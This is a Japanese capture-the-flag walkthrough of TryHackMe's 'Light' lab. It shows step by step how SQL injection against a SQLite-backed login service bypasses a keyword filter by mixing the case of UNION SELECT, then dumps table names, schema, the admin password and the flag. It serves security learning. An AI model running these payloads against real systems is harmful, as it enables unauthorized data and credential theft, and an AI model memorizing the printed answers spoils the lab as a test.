概要
TryHackMe「Light」のWalkthroughです。
Task1
Q1.What is the admin username?
1337ポートに接続すると、DB接続が出来るようです。
$ nc 10.48.147.224 1337
Welcome to the Light database!
ユーザ名を入力すると、パスワードを得られました。
$ nc 10.48.147.224 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
シングルクォーテーションを入れるとDBエラーが返って来たので、SQLインジェクションが出来そうだと分かりました。
また、コメントアウトなどの一部記号が使用できないと分かりました。
Please enter your username: '
Error: unrecognized token: "''' LIMIT 30"
Please enter your username: ' OR 1=1;--
For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
OR分は使用できるようですが、UNION SELECT分は使用不可の様です。
Please enter your username: ' OR '1'='1
Password: tF8tj2o94WE4LKC
Please enter your username: ' union select 1 '
Ahh there is a word in there I don't like :(
UNION SELECTを大文字小文字で挿入すると、インジェクションに成功しました。
Please enter your username: ' Union Select 1 '
Password: 1
DBのバージョン情報を入手できました。
Please enter your username: ' Union Select sqlite_version() '
Password: 3.31.1
テーブル名を取得します。
Please enter your username: ' Union Select tbl_name FROM sqlite_master WHERE type='table' AND '1'='1
Password: admintable
テーブル作成時のSQL文を表示させ、カラム名が分かりました。
Please enter your username: ' Union Select sql FROM sqlite_master WHERE tbl_name='admintable' AND '1'='1
Password: CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)
ユーザ名一覧を取得します。
Please enter your username: ' Union Select group_concat(username) FROM admintable WHERE '1'='1
Password: TryHackMeAdmin,flag
A.TryHackMeAdmin
Q2.What is the password to the username mentioned in question 1?
ユーザ名のパスワードを抽出します。
Please enter your username: ' Union Select password FROM admintable WHERE username='TryHackMeAdmin' AND '1'='1
Password: mamZtAuMlrsEy5bp6q17
A.mamZtAuMlrsEy5bp6q17
Q3.What is the flag?
フラグを入手できました。
Please enter your username: ' Union Select password FROM admintable WHERE username='flag' AND '1'='1
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}
A.THM{SQLit3_InJ3cTion_is_SimplE_nO?}